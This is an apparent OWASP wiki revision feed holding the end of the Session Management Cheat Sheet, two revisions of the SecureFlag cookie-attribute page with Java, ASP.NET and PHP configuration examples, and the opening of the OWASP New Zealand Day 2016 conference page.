&lt;br /&gt;
This scenario minimizes the amount of time a given session ID value, potentially obtained by an attacker, can be reused to hijack the user session, even when the victim user session is still active. The user session remains alive and open on the legitimate client, although its associated session ID value is transparently renewed periodically during the session duration, every time the renewal timeout expires. Therefore, the renewal timeout complements the idle and absolute timeouts, specially when the absolute timeout value extends significantly over time (e.g. it is an application requirement to keep the user sessions opened for long periods of time).&lt;br /&gt;
&lt;br /&gt;
Depending of the implementation, potentially there could be a race condition where the attacker with a still valid previous session ID sends a request before the victim user, right after the renewal timeout has just expired, and obtains first the value for the renewed session ID. At least in this scenario, the victim user might be aware of the attack as her session will be suddenly terminated because her associated session ID is not valid anymore.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Manual Session Expiration  ==&lt;br /&gt;
&lt;br /&gt;
Web applications should provide mechanisms that allow security aware users to actively close their session once they have finished using the web application. &lt;br /&gt;
&lt;br /&gt;
=== Logout Button  ===&lt;br /&gt;
&lt;br /&gt;
Web applications must provide a visible an easily accessible logout (logoff, exit, or close session) button that is available on the web application header or menu and reachable from every web application resource and page, so that the user can manually close the session at any time. As described [[Session_Management_Cheat_Sheet#Session_Expiration|above]], the web application must invalidate the session at least on server side.&lt;br /&gt;
&lt;br /&gt;
'''NOTE''': Unfortunately, not all web applications facilitate users to close their current session. Thus, client-side enhancements such as the PopUp LogOut Firefox add-on [9] allow conscientious users to protect their sessions by helping to close them diligently.&lt;br /&gt;
&lt;br /&gt;
== Web Content Caching  ==&lt;br /&gt;
&lt;br /&gt;
Even after the session has been closed, it might be possible to access the private or sensitive data exchanged within the session through the web browser cache. Therefore, web applications must use restrictive cache directives for all the web traffic exchanged through HTTP and HTTPS, such as the “Cache-Control: no-cache,no-store” and “Pragma: no-cache” HTTP headers [5], and/or equivalent META tags on all or (at least) sensitive web pages. &lt;br /&gt;
&lt;br /&gt;
Independently of the cache policy defined by the web application, if caching web application contents is allowed, the session IDs must never be cached, so it is highly recommended to use the “Cache-Control: no-cache=&amp;quot;Set-Cookie, Set-Cookie2&amp;quot;” directive, to allow web clients to cache everything except the session ID. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Additional Client-Side Defenses for Session Management  =&lt;br /&gt;
&lt;br /&gt;
Web applications can complement the previously described session management defenses with additional countermeasures on the client side. Client-side protections, typically in the form of JavaScript checks and verifications, are not bullet proof and can easily be defeated by a skilled attacker, but can introduce another layer of defense that has to be bypassed by intruders. &lt;br /&gt;
&lt;br /&gt;
== Initial Login Timeout  ==&lt;br /&gt;
&lt;br /&gt;
Web applications can use JavaScript code in the login page to evaluate and measure the amount of time since the page was loaded and a session ID was granted. If a login attempt is tried after a specific amount of time, the client code can notify the user that the maximum amount of time to log in has passed and reload the login page, hence retrieving a new session ID. &lt;br /&gt;
&lt;br /&gt;
This extra protection mechanism tries to force the renewal of the session ID pre-authentication, avoiding scenarios where a previously used (or manually set) session ID is reused by the next victim using the same computer, for example, in session fixation attacks. &lt;br /&gt;
&lt;br /&gt;
== Force Session Logout On Web Browser Window Close Events  ==&lt;br /&gt;
&lt;br /&gt;
Web applications can use JavaScript code to capture all the web browser tab or window close (or even back) events and take the appropriate actions to close the current session before closing the web browser, emulating that the user has manually closed the session via the logout button. &lt;br /&gt;
&lt;br /&gt;
== Disable Web Browser Cross-Tab Sessions  ==&lt;br /&gt;
&lt;br /&gt;
Web applications can use JavaScript code once the user has logged in and a session has been established to force the user to re-authenticate if a new web browser tab or window is opened against the same web application. The web application does not want to allow multiple web browser tabs or windows to share the same session. Therefore, the application tries to force the web browser to not share the same session ID simultaneously between them. &lt;br /&gt;
&lt;br /&gt;
'''''NOTE''''': This mechanism cannot be implemented if the session ID is exchanged through cookies, as cookies are shared by all web browser tabs/windows.&amp;amp;nbsp; &lt;br /&gt;
&lt;br /&gt;
== Automatic Client Logout ==&lt;br /&gt;
&lt;br /&gt;
JavaScript code can be used by the web application in all (or critical) pages to automatically logout client sessions after the idle timeout expires, for example, by redirecting the user to the logout page (the same resource used by the logout button mentioned previously). &lt;br /&gt;
&lt;br /&gt;
The benefit of enhancing the server-side idle timeout functionality with client-side code is that the user can see that the session has finished due to inactivity, or even can be notified in advance that the session is about to expire through a count down timer and warning messages. This user-friendly approach helps to avoid loss of work in web pages that require extensive input data due to server-side silently expired sessions.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Session Attacks Detection  =&lt;br /&gt;
&lt;br /&gt;
== Session ID Guessing and Brute Force Detection  ==&lt;br /&gt;
&lt;br /&gt;
If an attacker tries to guess or brute force a valid session ID, he needs to launch multiple sequential requests against the target web application using different session IDs from a single (or set of) IP address(es). Additionally, if an attacker tries to analyze the predictability of the session ID (e.g. using statistical analysis), he needs to launch multiple sequential requests from a single (or set of) IP address(es) against the target web application to gather new valid session IDs. &lt;br /&gt;
&lt;br /&gt;
Web applications must be able to detect both scenarios based on the number of attempts to gather (or use) different session IDs and alert and/or block the offending IP address(es). &lt;br /&gt;
&lt;br /&gt;
== Detecting Session ID Anomalies  ==&lt;br /&gt;
&lt;br /&gt;
Web applications should focus on detecting anomalies associated to the session ID, such as its manipulation. The OWASP AppSensor Project [7] provides a framework and methodology to implement built-in intrusion detection capabilities within web applications focused on the detection of anomalies and unexpected behaviors, in the form of detection points and response actions. Instead of using external protection layers, sometimes the business logic details and advanced intelligence are only available from inside the web application, where it is possible to establish multiple session related detection points, such as when an existing cookie is modified or deleted, a new cookie is added, the session ID from another user is reused, or when the user location or User-Agent changes in the middle of a session. &lt;br /&gt;
&lt;br /&gt;
== Binding the Session ID to Other User Properties  ==&lt;br /&gt;
&lt;br /&gt;
With the goal of detecting (and, in some scenarios, protecting against) user misbehaviors and session hijacking, it is highly recommended to bind the session ID to other user or client properties, such as the client IP address, User-Agent, or client-based digital certificate. If the web application detects any change or anomaly between these different properties in the middle of an established session, this is a very good indicator of session manipulation and hijacking attempts, and this simple fact can be used to alert and/or terminate the suspicious session. &lt;br /&gt;
&lt;br /&gt;
Although these properties cannot be used by web applications to trustingly defend against session attacks, they significantly increase the web application detection (and protection) capabilities. However, a skilled attacker can bypass these controls by reusing the same IP address assigned to the victim user by sharing the same network (very common in NAT environments, like Wi-Fi hotspots) or by using the same outbound web proxy (very common in corporate environments), or by manually modifying his User-Agent to look exactly as the victim users does. &lt;br /&gt;
&lt;br /&gt;
== Logging Sessions Life Cycle: Monitoring Creation, Usage, and Destruction of Session IDs  ==&lt;br /&gt;
&lt;br /&gt;
Web applications should increase their logging capabilities by including information regarding the full life cycle of sessions. In particular, it is recommended to record session related events, such as the creation, renewal, and destruction of session IDs, as well as details about its usage within login and logout operations, privilege level changes within the session, timeout expiration, invalid session activities (when detected), and critical business operations during the session. &lt;br /&gt;
&lt;br /&gt;
The log details might include a timestamp, source IP address, web target resource requested (and involved in a session operation), HTTP headers (including the User-Agent and Referer), GET and POST parameters, error codes and messages, username (or user ID), plus the session ID (cookies, URL, GET, POST…). Sensitive data like the session ID should not be included in the logs in order to protect the session logs against session ID local or remote disclosure or unauthorized access. However, some kind of session-specific information must be logged into order to correlate log entries to specific sessions. It is recommended to log a salted-hash of the session ID instead of the session ID itself in order to allow for session-specific log correlation without exposing the session ID.&lt;br /&gt;
&lt;br /&gt;
In particular, web applications must thoroughly protect administrative interfaces that allow to manage all the current active sessions. Frequently these are used by support personnel to solve session related issues, or even general issues, by impersonating the user and looking at the web application as the user does.&lt;br /&gt;
&lt;br /&gt;
The session logs become one of the main web application intrusion detection data sources, and can also be used by intrusion protection systems to automatically terminate sessions and/or disable user accounts when (one or many) attacks are detected. If active protections are implemented, these defensive actions must be logged too.&lt;br /&gt;
&lt;br /&gt;
== Simultaneous Session Logons  ==&lt;br /&gt;
&lt;br /&gt;
It is the web application design decision to determine if multiple simultaneous logons from the same user are allowed from the same or from different client IP addresses. If the web application does not want to allow simultaneous session logons, it must take effective actions after each new authentication event, implicitly terminating the previously available session, or asking the user (through the old, new or both sessions) about the session that must remain active. &lt;br /&gt;
&lt;br /&gt;
It is recommended for web applications to add user capabilities that allow checking the details of active sessions at any time, monitor and alert the user about concurrent logons, provide user features to remotely terminate sessions manually, and track account activity history (logbook) by recording multiple client details such as IP address, User-Agent, login date and time, idle time, etc. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Session Management WAF Protections  =&lt;br /&gt;
&lt;br /&gt;
There are situations where the web application source code is not available or cannot be modified, or when the changes required to implement the multiple security recommendations and best practices detailed above imply a full redesign of the web application architecture, and therefore, cannot be easily implemented in the short term. In these scenarios, or to complement the web application defenses, and with the goal of keeping the web application as secure as possible, it is recommended to use external protections such as Web Application Firewalls (WAFs) that can mitigate the session management threats already described. &lt;br /&gt;
&lt;br /&gt;
Web Application Firewalls offer detection and protection capabilities against session based attacks. On the one hand, it is trivial for WAFs to enforce the usage of security attributes on cookies, such as the “Secure” and “HttpOnly” flags, applying basic rewriting rules on the “Set-Cookie” header for all the web application responses that set a new cookie. On the other hand, more advanced capabilities can be implemented to allow the WAF to keep track of sessions, and the corresponding session IDs, and apply all kind of protections against session fixation (by renewing the session ID on the client-side when privilege changes are detected), enforcing sticky sessions (by verifying the relationship between the session ID and other client properties, like the IP address or User-Agent), or managing session expiration (by forcing both the client and the web application to finalize the session). &lt;br /&gt;
&lt;br /&gt;
The open-source ModSecurity WAF, plus the OWASP Core Rule Set [6], provide capabilities to detect and apply security cookie attributes, countermeasures against session fixation attacks, and session tracking features to enforce sticky sessions. &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt; &lt;br /&gt;
&lt;br /&gt;
= Related Articles  =&lt;br /&gt;
&lt;br /&gt;
[0] '''OWASP Cookies Database. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_Cookies_Database &lt;br /&gt;
&lt;br /&gt;
[1] '''&amp;quot;HTTP State Management Mechanism&amp;quot;. RFC 6265. IETF.''' http://tools.ietf.org/html/rfc6265 &lt;br /&gt;
&lt;br /&gt;
[2] '''Insufficient Session-ID Length. OWASP.''' https://www.owasp.org/index.php/Insufficient_Session-ID_Length &lt;br /&gt;
&lt;br /&gt;
[3] '''Session Fixation. Mitja Kolšek. 2002.''' http://www.acrossecurity.com/papers/session_fixation.pdf &lt;br /&gt;
&lt;br /&gt;
[4] '''&amp;quot;SAP: Session (Fixation) Attacks and Protections (in Web Applications)&amp;quot;. Raul Siles. BlackHat EU 2011.''' &lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_Siles_SAP_Session-Slides.pdf &lt;br /&gt;
&lt;br /&gt;
https://media.blackhat.com/bh-eu-11/Raul_Siles/BlackHat_EU_2011_Siles_SAP_Session-WP.pdf &lt;br /&gt;
&lt;br /&gt;
[5] '''&amp;quot;Hypertext Transfer Protocol -- HTTP/1.1&amp;quot;. RFC2616. IETF.''' http://tools.ietf.org/html/rfc2616 &lt;br /&gt;
&lt;br /&gt;
[6] '''OWASP ModSecurity Core Rule Set (CSR) Project. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_ModSecurity_Core_Rule_Set_Project &lt;br /&gt;
&lt;br /&gt;
[7] '''OWASP AppSensor Project. OWASP.''' https://www.owasp.org/index.php/Category:OWASP_AppSensor_Project &lt;br /&gt;
&lt;br /&gt;
[8] '''HttpOnly Session ID in URL and Page Body | Cross Site Scripting''' http://seckb.yehg.net/2012/06/httponly-session-id-in-url-and-page.html&lt;br /&gt;
&lt;br /&gt;
[9] '''PopUp LogOut Firefox add-on''' https://addons.mozilla.org/en-US/firefox/addon/popup-logout/ &amp;amp; http://popuplogout.iniqua.com&lt;br /&gt;
&lt;br /&gt;
[10] '''How and why session IDs are reused in ASP.NET''' https://support.microsoft.com/en-us/kb/899918&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors  =&lt;br /&gt;
&lt;br /&gt;
Raul Siles (DinoSec) - raul[at]dinosec.com &lt;br /&gt;
&lt;br /&gt;
== Other Cheatsheets ==&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
[[Category:Cheatsheets]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SecureFlag&amp;diff=231868</id>
		<title>SecureFlag</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SecureFlag&amp;diff=231868"/>
				<updated>2017-07-27T04:08:52Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| lastRevision=2015-12-14&lt;br /&gt;
| comment=References out-of-date platforms and environments.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
= Overview =&lt;br /&gt;
&lt;br /&gt;
The secure flag is an option that can be set by the application server when sending a new cookie to the user within an HTTP&amp;amp;nbsp;Response. The purpose of the secure flag is to prevent cookies from being observed by unauthorized parties due to the transmission of a the cookie in clear text.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To accomplish this goal, browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page. Said in another way, the browser will not send a cookie with the secure flag set over an unencrypted HTTP request.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
By setting the secure flag, the browser will prevent the transmission of a cookie over an unencrypted channel.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Setting the Secure Flag =&lt;br /&gt;
&lt;br /&gt;
Following sections describes setting the Secure Flag in respective technologies.&lt;br /&gt;
&lt;br /&gt;
== Java ==&lt;br /&gt;
&lt;br /&gt;
=== Servlet 3.0 (Java EE 6) ===&lt;br /&gt;
Sun Java EE supports secure flag in Cookie interface since version 6 (Servlet class version 3)[http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html#setSecure%28boolean%29], also for session cookies (JSESSIONID)[http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29]. Methods ''setSecure'' and ''isSecure'' can be used to set and check for secure value in cookies.&lt;br /&gt;
&lt;br /&gt;
==== web.xml ====&lt;br /&gt;
Servlet 3.0 (Java EE 6) introduced a standard way to configure secure attribute for the session cookie, this can be done by applying the following configuration in web.xml&lt;br /&gt;
 &amp;amp;lt;session-config&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;cookie-config&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;secure&amp;amp;gt;true&amp;amp;lt;/secure&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;/cookie-config&amp;gt;&lt;br /&gt;
 &amp;amp;lt;/session-config&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tomcat ===&lt;br /&gt;
In '''Tomcat 6''' if the first request for session is using ''https'' then it automatically sets secure attribute on session cookie.&lt;br /&gt;
&lt;br /&gt;
=== Setting it as a custom header ===&lt;br /&gt;
For '''older versions''' the workaround is to rewrite JSESSIONID value using and setting it as a custom header. The drawback is that servers can be configured to use a different session identifier than JSESSIONID.&lt;br /&gt;
&lt;br /&gt;
 String sessionid = request.getSession().getId();&lt;br /&gt;
 response.setHeader(&amp;quot;SET-COOKIE&amp;quot;, &amp;quot;JSESSIONID=&amp;quot; + sessionid + &amp;quot;; secure&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== Environment consideration ===&lt;br /&gt;
&lt;br /&gt;
With this flag always set, sessions won't work in environments(development/test/etc.) that may use http. SessionCookieConfig [http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29] interface or setting custom header[https://www.owasp.org/index.php/SecureFlag#Setting_it_as_a_custom_header] trick can be leveraged to configure setting of this flag differently for each environment and can be driven by application configuration. &lt;br /&gt;
&lt;br /&gt;
== ASP.NET ==&lt;br /&gt;
&lt;br /&gt;
Set the following in Web.config:&lt;br /&gt;
&amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For some objects that have a requireSSL property, like the forms Authentication Cookie, set the requireSSL=&amp;quot;true&amp;quot; flag in the web.config for that specific element.&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
For session cookies managed by PHP, the flag is set either permanently in php.ini [http://php.net/manual/en/session.configuration.php#ini.session.cookie-secure PHP manual on ''SecureFlag''] through the parameter:&lt;br /&gt;
 session.cookie_secure = True&lt;br /&gt;
or in and during a script via the function [http://pl.php.net/manual/en/function.session-set-cookie-params.php]:&lt;br /&gt;
 void session_set_cookie_params  ( int $lifetime  [, string $path  [, string $domain  &lt;br /&gt;
                                   [, bool $secure= false  [, bool $httponly= false  ]]]] )&lt;br /&gt;
For application cookies a parameter in setcookie() sets Secure flag [http://pl.php.net/setcookie]:&lt;br /&gt;
 bool setcookie  ( string $name  [, string $value  [, int $expire= 0  [, string $path  &lt;br /&gt;
                  [, string $domain  [, bool $secure= false  [, bool $httponly= false  ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
= Testing for the Secure Flag =&lt;br /&gt;
&lt;br /&gt;
Verifying that a web site sets this flag on any particular cookie is easy. Using an intercepting proxy, like [[ZAP]], you can capture each response from the server and examine any Set-Cookie headers it includes to see if the secure flag is set on the cookie.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)|Testing for Cookie Attributes]]&lt;br /&gt;
* http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Control]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=SecureFlag&amp;diff=231867</id>
		<title>SecureFlag</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=SecureFlag&amp;diff=231867"/>
				<updated>2017-07-27T04:07:36Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: /* Related Articles */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{taggedDocument&lt;br /&gt;
| type=old&lt;br /&gt;
| lastRevision=2015-12-14&lt;br /&gt;
| comment=References out-of-date platforms and environments.&lt;br /&gt;
}}&lt;br /&gt;
&lt;br /&gt;
= Overview =&lt;br /&gt;
&lt;br /&gt;
The secure flag is an option that can be set by the application server when sending a new cookie to the user within an HTTP&amp;amp;nbsp;Response. The purpose of the secure flag is to prevent cookies from being observed by unauthorized parties due to the transmission of a the cookie in clear text.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
To accomplish this goal, browsers which support the secure flag will only send cookies with the secure flag when the request is going to a HTTPS page. Said in another way, the browser will not send a cookie with the secure flag set over an unencrypted HTTP request.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
By setting the secure flag, the browser will prevent the transmission of a cookie over an unencrypted channel.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Setting the Secure Flag =&lt;br /&gt;
&lt;br /&gt;
Following sections describes setting the Secure Flag in respective technologies.&lt;br /&gt;
&lt;br /&gt;
== Java ==&lt;br /&gt;
&lt;br /&gt;
=== Servlet 3.0 (Java EE 6) ===&lt;br /&gt;
Sun Java EE supports secure flag in Cookie interface since version 6 (Servlet class version 3)[http://java.sun.com/javaee/6/docs/api/javax/servlet/http/Cookie.html#setSecure%28boolean%29], also for session cookies (JSESSIONID)[http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29]. Methods ''setSecure'' and ''isSecure'' can be used to set and check for secure value in cookies.&lt;br /&gt;
&lt;br /&gt;
==== web.xml ====&lt;br /&gt;
Servlet 3.0 (Java EE 6) introduced a standard way to configure secure attribute for the session cookie, this can be done by applying the following configuration in web.xml&lt;br /&gt;
 &amp;amp;lt;session-config&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;cookie-config&amp;amp;gt;&lt;br /&gt;
   &amp;amp;lt;secure&amp;amp;gt;true&amp;amp;lt;/secure&amp;amp;gt;&lt;br /&gt;
  &amp;amp;lt;/cookie-config&amp;gt;&lt;br /&gt;
 &amp;amp;lt;/session-config&amp;amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tomcat ===&lt;br /&gt;
In '''Tomcat 6''' if the first request for session is using ''https'' then it automatically sets secure attribute on session cookie.&lt;br /&gt;
&lt;br /&gt;
=== Setting it as a custom header ===&lt;br /&gt;
For '''older versions''' the workaround is to rewrite JSESSIONID value using and setting it as a custom header. The drawback is that servers can be configured to use a different session identifier than JSESSIONID.&lt;br /&gt;
&lt;br /&gt;
 String sessionid = request.getSession().getId();&lt;br /&gt;
 response.setHeader(&amp;quot;SET-COOKIE&amp;quot;, &amp;quot;JSESSIONID=&amp;quot; + sessionid + &amp;quot;; secure&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
=== Environment consideration ===&lt;br /&gt;
&lt;br /&gt;
With this flag always set, sessions won't work in environments(development/test/etc.) that may use http. SessionCookieConfig [http://java.sun.com/javaee/6/docs/api/javax/servlet/SessionCookieConfig.html#setSecure%28boolean%29] interface or setting custom header[https://www.owasp.org/index.php/SecureFlag#Setting_it_as_a_custom_header] trick can be leveraged to configure setting of this flag differently for each environment and can be driven by application configuration. &lt;br /&gt;
&lt;br /&gt;
== ASP.NET ==&lt;br /&gt;
&lt;br /&gt;
Set the following in Web.config:&lt;br /&gt;
&amp;lt;httpCookies requireSSL=&amp;quot;true&amp;quot; /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
For some objects that have a requireSSL property, like the forms Authentication Cookie, set the requireSSL=&amp;quot;true&amp;quot; flag in the web.config for that specific element.&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
For session cookies managed by PHP, the flag is set either permanently in php.ini [http://php.net/manual/en/session.configuration.php#ini.session.cookie-secure PHP manual on ''SecureFlag''] through the parameter:&lt;br /&gt;
 session.cookie_secure = True&lt;br /&gt;
or in and during a script via the function [http://pl.php.net/manual/en/function.session-set-cookie-params.php]:&lt;br /&gt;
 void session_set_cookie_params  ( int $lifetime  [, string $path  [, string $domain  &lt;br /&gt;
                                   [, bool $secure= false  [, bool $httponly= false  ]]]] )&lt;br /&gt;
For application cookies a parameter in setcookie() sets Secure flag [http://pl.php.net/setcookie]:&lt;br /&gt;
 bool setcookie  ( string $name  [, string $value  [, int $expire= 0  [, string $path  &lt;br /&gt;
                  [, string $domain  [, bool $secure= false  [, bool $httponly= false  ]]]]]] )&lt;br /&gt;
&lt;br /&gt;
= Testing for the Secure Flag =&lt;br /&gt;
&lt;br /&gt;
Verifying that a web site sets this flag on any particular cookie is easy. Using an intercepting proxy, like [[ZAP]], you can capture each response from the server and examine any Set-Cookie headers it includes to see if the secure flag is set on the cookie.&lt;br /&gt;
&lt;br /&gt;
= Related Articles =&lt;br /&gt;
* [[Testing for cookies attributes (OTG-SESS-002)|Testing for Cookie Attributes]]&lt;br /&gt;
* http://www.troyhunt.com/2011/11/owasp-top-10-for-net-developers-part-9.html&lt;br /&gt;
&lt;br /&gt;
[[Category:Control]]&lt;br /&gt;
[[Category:FixME/old]]&lt;/div&gt;</summary>
		<author><name>Dan Wallis</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&amp;diff=212476</id>
		<title>OWASP New Zealand Day 2016</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=OWASP_New_Zealand_Day_2016&amp;diff=212476"/>
				<updated>2016-04-05T02:25:33Z</updated>
		
		<summary type="html">&lt;p&gt;Dan Wallis: Adding link to my slides&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__NOTOC__&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[https://www.owasp.org/index.php/OWASP_New_Zealand_Day_2016 https://www.owasp.org/images/2/23/OWASP_NZ_Day_2016_logo.jpg]&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
'''3rd and 4th Feburary 2016 - Auckland'''&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
= Introduction =&lt;br /&gt;
==Introduction==&lt;br /&gt;
We are proud to announce the seventh OWASP New Zealand Day conference, to be held at the University of Auckland on Thursday February 4th, 2016. OWASP New Zealand Day is a one-day conference dedicated to application security, with an emphasis on secure architecture and development techniques to help Kiwi developers build more secure applications.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Who is it for?&lt;br /&gt;
&lt;br /&gt;
* Web Developers: The morning sessions will introduce you to application security. Afternoon sessions will dive deeper into technical topics, and build on the morning sessions.&lt;br /&gt;
* Management: After an introduction to web application security, one of the afternoon streams will focus on informational and defensive topics.&lt;br /&gt;
* Security Professionals and Enthusiasts: Technical sessions later in the day will showcase new and interesting attack and defence topics.&lt;br /&gt;
&lt;br /&gt;
==Conference structure==&lt;br /&gt;
&lt;br /&gt;
Date: Thurs 4 Feb 2016&amp;lt;br&amp;gt;&lt;br /&gt;
Time: 9:00am - 5:00pm&amp;lt;br&amp;gt;&lt;br /&gt;
Cost: Free&amp;lt;br&amp;gt;&lt;br /&gt;
Food: Morning and Afternoon tea&lt;br /&gt;
&lt;br /&gt;
The main conference is on Thursday 4th of February, and will have three streams:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table style=&amp;quot;border:1px solid black;&amp;quot;&amp;gt;&lt;br /&gt;
   &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;10%&amp;quot; style=&amp;quot;text-align:center; border:1px solid black&amp;quot;&amp;gt;Morning&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;90%&amp;quot; colspan=&amp;quot;2&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Introductions to application security topics&amp;lt;/td&amp;gt;&lt;br /&gt;
   &amp;lt;/tr&amp;gt;&lt;br /&gt;
   &amp;lt;tr&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;10%&amp;quot; style=&amp;quot;text-align:center; border:1px solid black;&amp;quot;&amp;gt;Afternoon&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;45%&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Offensive Security&amp;lt;/td&amp;gt;&lt;br /&gt;
      &amp;lt;td width=&amp;quot;45%&amp;quot; style=&amp;quot;border:1px solid black; padding: 0px 0px 0px 12px;&amp;quot;&amp;gt;Informational / Defensive&amp;lt;/td&amp;gt;   &lt;br /&gt;
   &amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Training==&lt;br /&gt;
&lt;br /&gt;
Date: Wed 3 Feb 2016&amp;lt;br&amp;gt;&lt;br /&gt;
Time: 9:30am - 12:30pm session booked out&amp;lt;br&amp;gt;&lt;br /&gt;
Time: 1:30am - 4:30pm or part thereof. Spaces going fast, so get in quick&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
As well as the main conference on Thursday, we are pleased to be able to provide training on Wednesday. All details including registration can be found on the [https://www.eventbrite.com/e/owasp-nz-day-training-littlehackme-pm-tickets-20715612956 Training Registration Page].&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Training sessions will be announced by XXX, and will be held at the same venue on Wednesday 3 February.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
The seventh OWASP New Zealand Day will be happening thanks to the support provided by the University of Auckland, which will kindly offer a slightly different location from last year. Entry to the event will, as in the past, be free.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
For any comments, feedback or observations, please don't hesitate to contact [mailto:kim.carter@owasp.org?cc=adrian.hayes@owasp.org&amp;amp;cc=denis.andzakovic@owasp.org&amp;amp;cc=kirk.jackson@owasp.org us].&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Registration==&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Registration is not yet open. Please join our low volume [https://lists.owasp.org/mailman/listinfo/owasp-newzealand mailing list] to be notified when registration opens.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Registration for the main conference day is now open: [https://www.eventbrite.com/e/owasp-day-nz-conference-tickets-20260031299 Conference Registration Here]&lt;br /&gt;
&lt;br /&gt;
There is no cost for the main conference day. Morning and afternoon tea will be provided. Unfortunately due to increased conference running costs, lunch will not be provided as it has been for the past OWASP NZ Days. We do ask that if at any point you realise you cannot make it please cancel your registration to make room for others as spaces are limited.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Training Registration is now open: [http://www.regonline.com/owaspnzday2016trainingandsponsorship Training Registration]&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--&lt;br /&gt;
Registration is now closed.&lt;br /&gt;
--&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Important dates==&lt;br /&gt;
&lt;br /&gt;
* CFP &amp;amp; CFT submission deadline: 7th December 2015&lt;br /&gt;
* Conference Registration deadline: 21st January 2016&lt;br /&gt;
